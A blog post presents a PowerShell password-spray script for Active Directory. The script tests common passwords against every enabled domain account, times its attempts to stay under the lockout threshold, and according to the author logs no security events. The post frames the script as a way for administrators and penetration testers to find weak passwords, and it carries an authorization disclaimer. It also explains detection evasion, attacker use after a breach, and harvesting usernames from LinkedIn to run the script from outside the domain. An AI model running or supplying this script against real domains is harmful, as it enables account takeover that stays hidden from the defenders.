Password Spray with PowerShell

Find user accounts with weak passwords without getting ntds.dit, admin rights, account lockouts, or logging any events.


With basic domain access and PowerShell, this script uses a password spray technique to test one password at a time against all active user accounts in the domain.

More traditional brute force password guessing might try as many password combinations as possible against a single target user account.  Password spraying takes a reverse approach by casting a net to catch as many accounts as possible.

Unfortunately, passwords can be pretty simple even with complexity requirements enabled.  With complexity enabled, passwords are required to use of a mix or character types.  Specifically, 3 of the 4 types of characters are required to meet complexity requirements.  The 4 types of possible characters are UPPER CASE, lower case, numbers 0123456789, and special characters such as $%&#.  Unfortunately, there is nothing stopping a user from using weak passwords that meet the complexity requirements such as Password1 or Summer2016.

With Azure AD, Microsoft is banning common or known-exposed passwords in its cloud deployments.  I would really like to see the complexity policies in group policy updated to include this same functionality.  Some people have customized their own password filter to prohibit certain passwords while others use 3rd party products to add this additional functionality.   Here is an example of a 3rd party product from nFront Security that has solved this problem.  I haven’t used it so I can’t make a recommendation but it certainly seems like a product that is worth exploring.

Weak passwords are such a massive exposure that this really needs to be built-in functionality.  Until Microsoft’s password policies are improved, scripts like this can help administrators or penetration testers identify and notify users about their risky password choices.

On to the script…


First, you need a list of passwords saved in a txt file that you think are common and match your complexity requirements.  Some safe bets are months, seasons, and the word password.

  • Summer2016
  • August2016
  • Password123
  • Etc…

After that, the script takes care of the rest.  It gets a list of users from AD and tries each password from the password list against all users in the domain.  Then it moves on to the next password.

#Get list of active user accounts from AD.
$users = get-ADUser -Property SamAccountName,BadPWDCount `
 -Filter {Enabled -eq $true}
#Log for users whose passwords are discovered.
$PasswordLog = "c:\users\administrator\pwlog.txt"
#List of passwords to test
$PasswordList = Get-Content C:\Users\Administrator\pwlist.txt
#Get domain name. Used for credentials.
$domain = get-addomain
#Get the password policy
$PwPolicy = Get-ADDefaultDomainPasswordPolicy
#Get the lockout threshold.
#Used to decide how many password attempts per user without locking an account.
$LockThreshold = $PwPolicy.LockoutThreshold
#Lockout window used to decide how long to wait in between attempts.
$LockWindow = $PwPolicy.LockoutObservationWindow.TotalSeconds
$LoopCount = 0

ForEach ($BadPass in $PasswordList)
 $SecurePassword = ConvertTo-SecureString -String $BadPass -AsPlainText -force
 ForEach($user in $users)
 $userSAM = $user.SamAccountName
 #Only attempts if user has not already been logged with a previous password
 #Avoids unnecessary lockout or detection risk
 $BadPassLog = Get-Content $PasswordLog
 If($userSAM -NotIn $BadPassLog)
 $UserDomain = $domain.Name+'\'+$userSAM
 $Credentials = New-Object System.Management.Automation.PSCredential $UserDomain, $SecurePassword
 $userPWcheck = get-ADUser -Identity $userSAM -Property BadPWDCount
 $userPWCount = $userPWCheck.BadPWDCount 
 #Write-Host $userSAM $userPWCount
 try {
 #Credentials could be tested with anything. 
 #I used get-ADUser just because it was simple and allows the -Credential parameter
 $testCred = get-ADUser -Filter * -Credential $Credentials
 Add-Content -Path $PasswordLog -Value $UserSAM
 catch {
 $userPWcheck = get-ADUser -Identity $userSAM -Property BadPWDCount
 $userPWCount = $userPWCheck.BadPWDCount
 #Write-Host $userSAM $userPWCount
 $userPWCount = 0
 #This loop attempts to maximum the number of attempts before account lockout
 #This works of all accounts have a BadPWDCount = 0
 #To be more conservative, change the If statement to $LockThreshold -2
 $LoopCount = $LoopCount + 1
 If ($LoopCount -ge ($LockThreshold - 1))
 {$LoopCount = 0
 Start-Sleep -Seconds ($LockWindow + 30)}


If a username/password combination authenticates successfully, the user’s name is written to a log and will not be included in any subsequent rounds of password tests.  I wrote the script to not include the password in the log.  For my purposes I only want to indicate that the account matches a password on the bad password list.  If the actual credentials are needed, this can be easily modified.

One part of this that is really interesting and scary is that it does not log any events in the security log for these bad password attempts.  This allows the script to run against a massive list of passwords for weeks without any real way to be detected through any SEIM because the events simply don’t exist.  Assuming the typical setting of a 30 minute observation and a 3 attempt lockout, if you have 10,000 accounts you could try 500 passwords in 5 days for a total of 5,000,000 authentication attempts!  The only event that is ever logged is if the script trips across the lockout threshold and triggers an account lockout, event ID 4740.

One of the big challenges for me was to make sure I didn’t lock out any accounts.  I tried to key off of the BadPWDCount property but I found it to be very unreliable.  In some cases, it doesn’t seem to reset to zero even after the Lockout Observation Window had passed without any new bad password attempts.  I left this in the script because it is a good way to watch the progress as the script runs.  It is commented out for production use.  Instead I am just using a loop counter based off of the Lockout Threshold specified in the domain password policies.  This might lead to some account lockouts in cases where a user has a Bad PWD Count greater than zero when the test begins.  You could be more conservative by changing $LockThreshold – 1 to $LockThreshold – 2.  But that is a trade off between the speed of the test and the risk of locking accounts.


You can be certain that if someone targets your organization, this is a simple technique that could be used against you.  I hope this helps you identify and eliminate the bad passwords first.

*Disclaimer* Only use with approval from your employer or client *Disclaimer*


Exceptions and thoughts for future development:

For an internal test, you already have all the access you need.  From an attacker point of view, this is a post-exploit technique.  Unless, of course, you are able to use another method of password spraying against an external site as demonstrated here by Black Hills Information Security.

This script could be modified to work without AD modules for Win7 w/out RSAT or from a non-domain-joined system by excluding the AD query and using a list of potential user names obtained through an employee directory or LinkedIn.  Also, if you are unable to query the AD Password Policy, hard-coding based off the default 30-minute observation window and lockout count of 3 should work.  This approach wasn’t in scope for my personal use so I didn’t take the extra effort.

This script does not take into consideration fine grained password policies.  Perhaps additional checks can be done in a version 2 at some point in the future.


Azure AD Password Policies

Black Hill Info Sec – Password Spray OWA

Microsoft Password Filters

NFrontSecurity Password Filter



Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s